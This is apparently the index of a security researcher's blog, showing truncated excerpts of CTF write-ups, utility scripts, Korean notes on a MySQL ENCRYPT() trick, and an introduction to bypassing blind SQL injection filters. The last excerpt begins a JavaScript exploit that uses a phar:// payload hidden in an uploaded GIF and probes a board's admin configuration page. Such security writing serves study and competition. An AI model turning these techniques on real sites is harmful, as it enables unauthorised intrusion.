stypr

pentest (298pt)

Solves: 1

This write-up was made per request of other players who were playing ASIS CTF.

Note: I solved this challenge before the hint was released. \o/

Description

stypr

# derived from http://stackoverflow.com/questions/40046916/how-to-grant-permission-to-user-on-certificate-private-key-using-powershell
param (
    [string]$certThumbprint = "NothingToDoHere"
)
$serviceAccount = 'NETWORK SERVICE'
$permissionType = 'Read'
    try
    {
        Write-Host "Thumbprint: $certThumbprint"
        #Clear Existing Variables

stypr

#!/usr/bin/python -u
#-*-coding: utf-8-*-
def list_directory(expression):
	try:
		_c = __import__("glob").glob(expression + "/*")
		for i in xrange(len(_c)):
			if "uploads" not in _c[i] and "userimage" not in _c[i] and "files" not in _c[i]:
				_c.extend(list_directory(_c[i]))
		return _c
	except:

stypr

Mathboy7 (415pt)

ENCRYPT() 함수를 통해 Random String을 만들 수 있음

encryption-functions from mysql.com

1. ENCRYPT(x) 시 확률상 문제를 풀 수 없지만, salt 값을 설정하면 첫번째 몇 글자 정도는 같게 되므로 확률이 굉장히 줄어듬.

2. ENCRYPT(x,y) 출력시 나오는 값은 A-Za-z0-9./ 로 이루어져있어서 확률상 어렵지만, 문제에서 strtolower($var) 로 인해 확률이 2차적으로 줄어들음.

stypr

iptables -N irccloud
iptables -A irccloud --src 192.184.9.108 -j ACCEPT
iptables -A irccloud --src 192.184.9.110 -j ACCEPT
iptables -A irccloud --src 192.184.9.112 -j ACCEPT
iptables -A irccloud --src 192.184.10.118 -j ACCEPT
iptables -A irccloud --src 192.184.10.9 -j ACCEPT
iptables -A irccloud --src 170.178.187.131 -j ACCEPT
iptables -A irccloud --src 192.184.8.73 -j ACCEPT
iptables -A irccloud --src 192.184.8.103 -j ACCEPT
iptables -A irccloud -j DROP

stypr

#!/usr/bin/python -u
#-*- encoding: utf-8 -*-

import os
import sys
import requests
import json
from base64 import *

HOST = "core.eagle-jump.org"

stypr

<?php
function generator()
{
	$PATH = "./s3cre7_fi1e";
	$init_seed = 0;
	if(!file_exists(realpath($PATH)))
	{
		$init_seed = $seed = intval(uniqid(),10);
		$f = fopen($PATH,"w");
		fwrite($f,$init_seed);

stypr

There are several ways to bypass blind SQLi filters, and today I will introduce MySQL blind sqli payload using an insert() function.

Interestingly, the payload itself is limited to MySQL, but the technical side of this attack should be still valid in most SQL.

This attack is useful when typical substring filters (i.e. left(), right(), mid(), substr(), regexp(), strcmp(), concat() ... LIKE ... ) are blocked by the script.

TL;DR

stypr

#!/usr/bin/python -u
#-*- coding: utf-8 -*-
# Developer: Harold Kim([email protected])

import os
import sys
import re
import requests

class iptime:

stypr

// 업로드한 파일의 페이로드.
// var payload = `phar://../data\\file/free/1062687231_CmB8gHok_143f7b739dcab1b6837abdfa39b0109467c35d51.gif/GIF89a.php`;
var payload = `[PAYLOAD_URL]`

// 먼저 공격에 앞서, 해당 기능을 지원하는 관리자인지 확인한다.
$.get(`../qa_config.php`, function(d){

    // 수정할 곳은 ”파일 경로“ 가 들어간 곳이므로, 이 부분만 우선 확인한다.
    if(d.indexOf(`상단 파일 경로`) !== false){